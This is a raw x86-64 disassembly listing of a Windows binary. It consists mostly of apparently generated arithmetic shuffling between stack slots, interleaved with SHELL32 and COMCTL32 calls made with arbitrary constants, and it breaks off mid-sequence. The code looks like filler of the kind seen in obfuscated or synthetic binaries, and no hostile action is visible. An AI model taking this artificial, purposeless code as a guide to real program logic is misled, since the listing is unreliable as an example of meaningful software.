movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x30a4], ax
lea rax, [rsp + 0x514]
mov qword [rsp + 0x10098], rax
mov eax, dword [rsp + 0x6e20]
mov ecx, dword [rsp + 0x6f00]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6e5c], eax
mov eax, dword [rsp + 0x6fec]
mov rcx, qword [rsp + 0xd3d8]
mov qword [rsp + 0x100a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x100a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7214], eax
lea rax, [rsp + 0xd988]
mov qword [rsp + 0x100a8], rax
movsx eax, byte [0x14019ef92]
mov rcx, qword [rsp + 0xf0f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019d016], al
movsx eax, word [rsp + 0x178c]
mov rcx, qword [rsp + 0xde08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x30dc], ax
movzx eax, word [rsp + 0x21f8]
mov word [rsp + 0x32c4], ax
mov rax, qword [rsp + 0xf4f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd620]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3100], ax
mov rax, qword [rsp + 0xf178]
mov rcx, qword [rsp + 0xea40]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbf38], rax
lea rax, [rsp + 0x70d0]
mov qword [rsp + 0x100b0], rax
mov rax, qword [rsp + 0xf870]
mov rcx, qword [rsp + 0xa980]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bf8], rax
mov rax, qword [rsp + 0xef60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x533]
shl eax, cl
mov byte [rsp + 0x151], al
mov rax, qword [rsp + 0xe968]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x213c]
sar eax, cl
mov word [rsp + 0x2ca8], ax
movzx eax, word [rsp + 0x2890]
mov word [0x14019f820], ax
mov rax, qword [rsp + 0xe8f0]
mov rcx, qword [rsp + 0xfc18]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xdb58], rax
movzx eax, word [0x14019f1e0]
mov word [rsp + 0x32c8], ax
movzx eax, byte [rsp + 0x514]
mov rcx, qword [rsp + 0xeff8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x51e], al
mov eax, dword [rsp + 0x5cac]
mov dword [rsp + 0x72bc], eax
mov rax, qword [rsp + 0xf8b0]
movsx eax, byte [rax]
movsx ecx, byte [0x14019ef92]
or eax, ecx
mov byte [rsp + 0x532], al
mov rax, qword [rsp + 0xf2b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x67d8], eax
mov rax, qword [0x14019f218]
mov rcx, qword [rsp + 0x10068]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe580]
mov qword [rcx], rax
movsx eax, word [rsp + 0x24b8]
mov rcx, qword [rsp + 0xf780]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2ac0], ax
movzx eax, word [rsp + 0x1ec0]
mov rcx, qword [rsp + 0xdf00]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x14019d310], ax
mov rax, qword [0x14019f048]
mov rax, qword [rax]
mov qword [rsp + 0x100b8], rax
mov rax, qword [rsp + 0xee20]
movzx ecx, al
mov rax, qword [rsp + 0xe0a8]
shl rax, cl
mov rcx, qword [rsp + 0xed60]
mov qword [rcx], rax
movsx eax, word [rsp + 0x2dd4]
movsx ecx, word [rsp + 0x2cc4]
sub eax, ecx
mov word [rsp + 0x15cc], ax
mov rax, qword [rsp + 0xd7f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cb4]
add eax, ecx
mov word [rsp + 0x2bd8], ax
mov rax, qword [rsp + 0xda70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6da0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7230], eax
mov rax, qword [rsp + 0xb6e0]
mov qword [rsp + 0x100c0], rax
movsx eax, byte [0x14019d016]
movsx ecx, byte [rsp + 0x5ea]
add eax, ecx
mov byte [rsp + 0x554], al
mov rax, qword [rsp + 0xe8b0]
mov rax, qword [rax]
mov qword [rsp + 0x100c8], rax
mov rax, qword [rsp + 0xf640]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd928]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d3d4], ax
mov rax, qword [0x14019f4e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd910]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x3048], ax
mov rax, qword [rsp + 0xee10]
mov rcx, qword [rsp + 0xf5e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6c94], eax
lea rax, [rsp + 0x592]
mov qword [rsp + 0x100d0], rax
mov rax, qword [rsp + 0xfd38]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe570]
sar rax, cl
mov qword [rsp + 0xfad8], rax
mov rax, qword [rsp + 0xd1c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc48]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc5e8], rax
mov eax, dword [rsp + 0x5f68]
mov rcx, qword [rsp + 0xdc60]
mov qword [rsp + 0x100d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x100d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x705c], eax
mov rax, qword [rsp + 0xe140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xefc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xf440]
mov byte [rcx], al
movzx eax, word [rsp + 0x23b0]
mov word [rsp + 0x32cc], ax
lea r9, [rsp + 0x2a30]
lea r8, [rsp + 0xd130]
lea rdx, [rsp + 0xd520]
lea rcx, [rsp + 0xfa80]
call qword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [rsp + 0x72c0], eax
mov rax, qword [rsp + 0xeb88]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2770]
shl eax, cl
mov word [0x14019f1e0], ax
mov rax, qword [rsp + 0xcec0]
mov rcx, qword [rsp + 0xfc00]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc048], rax
mov rax, qword [rsp + 0xe250]
movzx eax, word [rax]
mov rcx, qword [0x14019f0d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2340], ax
movsx eax, word [rsp + 0x2808]
mov rcx, qword [rsp + 0xe558]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xe348]
mov word [rcx], ax
lea rax, [rsp + 0xeb70]
mov qword [rsp + 0x100e0], rax
mov rax, qword [rsp + 0xdfa8]
mov rcx, qword [rsp + 0xe6e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6da0], eax
mov rax, qword [rsp + 0xe850]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdfc8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xd5d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe8f8]
movzx eax, byte [rax]
mov byte [rsp + 0x5fb], al
mov rax, qword [rsp + 0xef10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2e40]
xor eax, ecx
mov word [rsp + 0x2da4], ax
mov rax, qword [rsp + 0xf1d0]
mov rcx, qword [rsp + 0xabf8]
mov rax, qword [rax]
and rax, rcx
mov qword [0x14019f7d0], rax
mov dword [rsp + 0x28], 0x1d
lea rax, [rsp + 0x21150]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd530]
mov r8d, 0x88
mov edx, 0x93
mov rcx, qword [rsp + 0xd1b0]
call qword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [rsp + 0x6bc0], eax
mov rax, qword [rsp + 0xfd50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5b0]
shl eax, cl
mov byte [rsp + 0x4bf], al
mov eax, dword [rsp + 0x729c]
mov ecx, dword [rsp + 0x6850]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7008], eax
movsx eax, word [rsp + 0x2370]
movsx ecx, word [rsp + 0x1048]
sar eax, cl
mov rcx, qword [rsp + 0xda00]
mov word [rcx], ax
mov rax, qword [0x14019f4e8]
movzx eax, word [rax]
mov word [rsp + 0x32d0], ax
mov rax, qword [rsp + 0xd3b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd328]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe280], rax
mov rax, qword [rsp + 0xd970]
movzx eax, byte [rax]
mov byte [rsp + 0x5fc], al
mov rax, qword [rsp + 0xd2f8]
mov ecx, dword [rsp + 0x67d8]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6ebc], eax
mov rax, qword [rsp + 0xd9b8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd188]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2bb4], ax
movzx eax, word [rsp + 0x3288]
mov word [0x14019f824], ax
mov rax, qword [rsp + 0xedd0]
mov rcx, qword [rsp + 0xe840]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9d00], rax
mov rax, qword [rsp + 0xf540]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfe70]
mov qword [rsp + 0x100e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x100e8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa080], rax
mov rax, qword [rsp + 0xecb0]
mov qword [rsp + 0x100f0], rax
movsx eax, word [rsp + 0x1578]
movsx ecx, word [rsp + 0x3124]
shl eax, cl
mov word [rsp + 0x2284], ax
mov rax, qword [rsp + 0xddc8]
mov ecx, dword [rsp + 0x5ab4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6170], eax
movsx eax, byte [rsp + 0x328]
mov rcx, qword [0x14019f320]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5ab], al
mov rax, qword [rsp + 0xfbd0]
mov rcx, qword [rsp + 0xfec8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xe5f8], rax
mov eax, dword [rsp + 0x7244]
mov dword [rsp + 0x72c4], eax
mov rax, qword [rsp + 0xeff8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x481]
and eax, ecx
mov byte [rsp + 0x5a3], al
mov rax, qword [rsp + 0xe1b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a8c]
xor eax, ecx
mov word [0x14019f5dc], ax
lea rax, [rsp + 0x32c8]
mov qword [rsp + 0x100f8], rax
movzx eax, word [rsp + 0x1a40]
movzx ecx, word [rsp + 0x154c]
shl eax, cl
mov word [rsp + 0x310c], ax
mov rax, qword [rsp + 0xd298]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd0d8]
mov qword [rsp + 0x10100], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10100]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xdcb0], rax
mov ecx, ILGetNext
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x6dac], eax
mov rax, qword [rsp + 0xd730]
mov qword [rsp + 0x10108], rax
movsx eax, byte [0x14019ef96]
mov rcx, qword [rsp + 0xf8b0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x59e], al
mov rax, qword [rsp + 0x10048]
mov ecx, dword [rsp + 0x6d4c]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x6514], eax
movsx eax, word [rsp + 0x2b10]
movsx ecx, word [0x14019f12c]
sub eax, ecx
mov word [rsp + 0x2fe0], ax
movzx eax, word [rsp + 0x2128]
movzx ecx, word [rsp + 0x2c48]
add eax, ecx
mov word [rsp + 0x2e3c], ax
mov rax, qword [rsp + 0xfe40]
mov rax, qword [rax]
mov qword [0x14019f828], rax
movzx eax, word [0x14019f168]
mov word [rsp + 0x32d4], ax
mov rax, qword [rsp + 0xd2e0]
mov rcx, qword [rsp + 0xec88]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa678], rax
mov rcx, qword [rsp + 0xea20]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathW]
mov qword [rsp + 0x10110], rax
mov rax, qword [rsp + 0xed60]
mov rcx, qword [rsp + 0xe6d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0xfd48]
mov rcx, qword [0x14019f120]
mov qword [rsp + 0x10118], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10118]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xc3f0], rax
mov eax, dword [rsp + 0x71e4]
mov ecx, dword [rsp + 0x6bd0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5fd8], eax
mov rax, qword [rsp + 0xea58]
mov eax, dword [rax]
mov dword [rsp + 0x72c8], eax
movzx eax, byte [0x14019ef90]
mov rcx, qword [rsp + 0xfe20]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4e2], al
mov rax, qword [rsp + 0xec80]
movzx eax, byte [rax]
mov byte [rsp + 0x5fd], al
movsx eax, word [rsp + 0x2088]
mov rcx, qword [rsp + 0xf008]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019f5f8], ax
movsx eax, word [rsp + 0x116c]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2b68], ax
movzx eax, word [rsp + 0x2e04]
movzx ecx, word [rsp + 0x31cc]
xor eax, ecx
mov word [rsp + 0x22ec], ax
mov rax, qword [rsp + 0xe318]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf6e8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x324c], ax
mov rax, qword [rsp + 0xf3b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xf200]
mov qword [rsp + 0x10120], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10120]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xe780], rax
movzx eax, byte [rsp + 0x14e]
mov byte [rsp + 0x5fe], al
mov eax, dword [rsp + 0x7168]
movzx ecx, al
mov eax, dword [0x14019d060]
shl eax, cl
mov dword [rsp + 0x726c], eax
mov rax, qword [rsp + 0xe220]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd470]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x16d4], ax
mov rax, qword [rsp + 0xd620]
movzx eax, word [rax]
movzx ecx, word [0x14019f278]
sub eax, ecx
mov word [rsp + 0x2be4], ax
mov rax, qword [rsp + 0xfaf8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdcd8]
sub rcx, rax
mov rax, rcx
mov qword [0x14019d3d8], rax
mov rax, qword [rsp + 0xd478]
mov rcx, qword [rsp + 0xfa08]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd3a8], rax
mov rax, qword [0x14019f0e8]
mov qword [rsp + 0x10128], rax
mov rax, qword [rsp + 0xe3f0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe438], rax
mov rax, qword [rsp + 0xd888]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd160]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1a70], ax
mov eax, dword [rsp + 0x63c8]
movzx ecx, al
mov eax, dword [0x14019efac]
shl eax, cl
mov dword [rsp + 0x6e70], eax
movzx eax, byte [rsp + 0x137]
movzx ecx, byte [rsp + 0x4e7]
sar eax, cl
mov byte [rsp + 0x5df], al
mov rax, qword [0x14019f340]
movzx eax, byte [rax]
mov byte [rsp + 0x5ff], al
mov rax, qword [rsp + 0xd198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6f8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x70c8], eax
mov rax, qword [rsp + 0xd1c8]
mov rcx, qword [rsp + 0x99d0]
mov rax, qword [rax]
xor rax, rcx
mov qword [0x14019f010], rax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [rsp + 0x32d8], ax
movsx eax, word [rsp + 0x11b4]
movsx ecx, word [rsp + 0x3188]
sub eax, ecx
mov word [rsp + 0x2e94], ax
mov rax, qword [rsp + 0xf940]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xf528]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x31cc], ax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [0x14019f758]
mov qword [rsp + 0x10130], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10130]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9238], rax
movsx eax, byte [rsp + 0x5b3]
movsx ecx, byte [rsp + 0x571]
or eax, ecx
mov byte [rsp + 0x5e8], al
mov r8d, 0x8e
lea rdx, [rsp + 0xcf00]
lea rcx, [rsp + 0x1e600]
call qword [sym.imp.SHELL32.dll_SHSetLocalizedName]
mov dword [rsp + 0x72b4], eax
mov eax, dword [rsp + 0x6f54]
mov dword [rsp + 0x72cc], eax
mov rax, qword [rsp + 0xe850]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xfd68]
mov qword [rsp + 0x10138], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10138]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xe1c0], rax
movsx eax, word [rsp + 0x2b20]
mov rcx, qword [rsp + 0xd898]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12d4], ax
mov rax, qword [0x14019f0d8]
movzx eax, word [rax]
mov word [0x14019f830], ax
mov rax, qword [rsp + 0x100e0]
mov rcx, qword [rsp + 0xfa88]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xebd8], rax
movzx eax, word [rsp + 0x2a68]
movzx ecx, word [rsp + 0x32b0]
add eax, ecx
mov rcx, qword [rsp + 0xf4f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xffb8]
mov eax, dword [rax]
mov dword [rsp + 0x72d0], eax
movzx eax, byte [rsp + 0x3ba]
movzx ecx, byte [rsp + 0x4f3]
add eax, ecx
mov byte [rsp + 0x5eb], al
lea r9, [rsp + 0x200e0]
lea r8, [rsp + 0x1e470]
mov edx, 0x25
mov ecx, 0x62
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
mov rax, qword [rsp + 0xfa10]
mov qword [rsp + 0x10140], rax
movsx eax, byte [rsp + 0x5f8]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x381], al
mov eax, dword [rsp + 0x70b8]
mov ecx, dword [rsp + 0x6e08]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x70a8], eax
mov rax, qword [rsp + 0xf008]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce08]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1384], ax
mov ecx, 0x71
call qword [sym.imp.SHELL32.dll_SHChangeNotifyDeregister]
mov dword [rsp + 0x724c], eax
movzx eax, word [rsp + 0x31dc]
mov rcx, qword [rsp + 0xf1f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14019d3e0], ax
lea rcx, [rsp + 0x1f080]
call qword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0xbcf8]
mov rcx, qword [rsp + 0x9088]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xac88], rax
lea rax, [rsp + 0xee50]
mov qword [rsp + 0x10148], rax
movsx eax, word [rsp + 0x325c]
mov rcx, qword [rsp + 0xe348]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b68], ax
movzx eax, word [rsp + 0x2c28]
mov rcx, qword [rsp + 0xee70]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2650], ax
mov rax, qword [0x14019f1f0]
mov rax, qword [rax]
mov qword [rsp + 0x10150], rax
movsx eax, byte [rsp + 0x558]
mov rcx, qword [rsp + 0xeae8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x5a2], al
mov rax, qword [rsp + 0xff40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x711c]
shl eax, cl
mov dword [rsp + 0x5bc0], eax
mov rax, qword [rsp + 0x9660]
mov rcx, qword [0x14019f6b8]
mov qword [rsp + 0x10158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10158]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa470], rax
movsx eax, word [rsp + 0x2ff4]
mov rcx, qword [rsp + 0xf860]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x14019f788], ax
lea rax, [rsp + 0x2340]
mov qword [rsp + 0x10160], rax
movzx eax, byte [rsp + 0x4bf]
movzx ecx, byte [rsp + 0x570]
sub eax, ecx
mov byte [rsp + 0x5fa], al
mov rax, qword [rsp + 0xee10]
mov ecx, dword [rsp + 0x6e98]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xf638]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa900]
mov qword [rsp + 0x10168], rax
mov rax, qword [rsp + 0xe500]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xfba0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x42e], al
mov rax, qword [rsp + 0x100b0]
mov eax, dword [rax]
mov dword [rsp + 0x72d4], eax
mov rax, qword [rsp + 0xee48]
mov rcx, qword [0x14019f410]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdee0], rax
mov rax, qword [rsp + 0xf7f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2fa0]
add eax, ecx
mov word [rsp + 0x213c], ax
mov rax, qword [rsp + 0xdbd0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x31d4]
xor eax, ecx
mov rcx, qword [0x14019f7f8]
mov word [rcx], ax
mov rax, qword [rsp + 0xd7a8]
mov rax, qword [rax]
mov rcx, qword [0x14019d0c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb070], rax
movzx eax, word [rsp + 0x11d4]
mov rcx, qword [rsp + 0xfb70]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2890], ax
lea rax, [rsp + 0x32bc]
mov qword [rsp + 0x10170], rax
mov rax, qword [rsp + 0x9660]
movzx ecx, al
mov rax, qword [0x14019f530]
sar rax, cl
mov qword [rsp + 0xdcb0], rax
mov rax, qword [rsp + 0xf8e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
shl eax, cl
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0xeef0]
mov rax, qword [rax]
mov qword [rsp + 0x10178], rax
mov rax, qword [rsp + 0xda88]
mov rcx, qword [rsp + 0xf988]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x6f9c], eax
mov rax, qword [rsp + 0xf4f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xefb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1650], ax
mov rax, qword [rsp + 0xe378]
mov rax, qword [rax]
mov qword [0x14019f838], rax
mov eax, dword [rsp + 0x6ef8]
movzx ecx, al
mov eax, dword [rsp + 0x5884]
shl eax, cl
mov dword [rsp + 0x6ff4], eax
movzx eax, byte [rsp + 0x1d0]
mov rcx, qword [rsp + 0xe820]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x4bf], al
movzx eax, word [0x14019f450]
mov word [rsp + 0x32dc], ax
movzx eax, word [rsp + 0x2ca4]
movzx ecx, word [rsp + 0x3050]
or eax, ecx
mov word [rsp + 0xeb4], ax
lea rax, [rsp + 0x7010]
mov qword [rsp + 0x10180], rax
mov rax, qword [rsp + 0xf8e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2db]
sub eax, ecx
mov byte [rsp + 0x344], al
mov rax, qword [rsp + 0xfeb0]
mov rax, qword [rax]
mov qword [rsp + 0x10188], rax
mov rax, qword [rsp + 0xdb90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xd258]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x30f4], ax
movzx eax, word [rsp + 0x2d0c]
movzx ecx, word [0x14019f460]
add eax, ecx
mov word [0x14019f36c], ax
mov rax, qword [rsp + 0xedb0]
mov rcx, qword [rsp + 0x94a0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbf38], rax
mov rax, qword [rsp + 0x10148]
mov rcx, qword [0x14019f6a8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb4c8], rax
mov rax, qword [rsp + 0xd9d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb590]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb370], rax
movzx eax, word [rsp + 0x1340]
mov word [rsp + 0x32e0], ax
mov eax, dword [0x14019d28c]
mov rcx, qword [rsp + 0xe1f0]
mov qword [rsp + 0x10190], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10190]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x72cc], eax
mov rax, qword [rsp + 0xd730]
mov rcx, qword [rsp + 0xe010]
mov qword [rsp + 0x10198], rcx
movzx ecx, al
mov rax, qword [rsp + 0x10198]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x97a8], rax
movsx eax, byte [rsp + 0x539]
mov rcx, qword [rsp + 0xe960]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2c4], al
mov rax, qword [rsp + 0xfcd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x521]
add eax, ecx
mov byte [rsp + 0x592], al
mov rax, qword [rsp + 0xeb98]
mov eax, dword [rax]
mov dword [rsp + 0x72d8], eax
mov rax, qword [rsp + 0xd470]
movzx eax, word [rax]
mov word [0x14019f840], ax
mov rax, qword [rsp + 0xecd0]
movzx eax, word [rax]
movzx ecx, word [0x14019d0e0]
sub eax, ecx
mov word [rsp + 0x2c7c], ax
movzx eax, word [rsp + 0xbd8]
movzx ecx, word [rsp + 0x306c]
shl eax, cl
mov word [rsp + 0x2d20], ax
mov rax, qword [0x14019f030]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x100e0]
mov qword [rsp + 0x101a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x101a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbfb8], rax
mov rax, qword [rsp + 0xd340]
mov rcx, qword [rsp + 0xe638]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd210], rax
mov rax, qword [rsp + 0xefc0]
movzx eax, byte [rax]
mov byte [rsp + 0x600], al
mov eax, dword [rsp + 0x6e74]
mov ecx, dword [rsp + 0x6d00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b34], eax
movzx eax, word [rsp + 0x2c74]
mov word [rsp + 0x32e4], ax
mov rax, qword [rsp + 0xec70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xe4a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3024], ax
mov rax, qword [0x14019f5c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9810]
xor rcx, rax
mov rax, rcx
mov qword [0x14019f110], rax
movzx eax, word [rsp + 0x20f8]
mov rcx, qword [rsp + 0xeed0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3020], ax
mov rax, qword [rsp + 0xf8d0]
movzx ecx, al
mov rax, qword [rsp + 0xf148]
sar rax, cl
mov qword [rsp + 0xca68], rax
mov rax, qword [rsp + 0xfda8]
mov rax, qword [rax]
mov rcx, qword [0x14019f740]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xebc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe9a0]
mov rax, qword [rax]
mov qword [rsp + 0x101a8], rax
movsx eax, byte [rsp + 0x148]
mov rcx, qword [0x14019f180]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x59c], al
mov rax, qword [rsp + 0xdc50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xf8c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x216], al
mov rax, qword [rsp + 0xf888]
mov rcx, qword [rsp + 0xd0f8]
mov eax, dword [rax]
imul eax, dword [rcx]
mov dword [rsp + 0x5ab0], eax
mov eax, dword [rsp + 0x7178]
mov ecx, dword [rsp + 0x6658]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x70f0], eax
mov rax, qword [rsp + 0xf430]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xe220]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14019d3e4], ax
mov rax, qword [rsp + 0xe558]
movzx eax, word [rax]
mov word [rsp + 0x32e8], ax
mov rax, qword [0x14019f7b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3000]
sub eax, ecx
mov word [rsp + 0x2e98], ax
movzx eax, word [rsp + 0xf04]
movzx ecx, word [rsp + 0x2d38]
shl eax, cl
mov word [rsp + 0x2c28], ax
mov rax, qword [rsp + 0xe580]
mov rax, qword [rax]
mov qword [rsp + 0x101b0], rax
mov rax, qword [rsp + 0xd960]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5e40]
shr eax, cl
mov dword [rsp + 0x6cf4], eax
mov rax, qword [rsp + 0xe260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4e3]
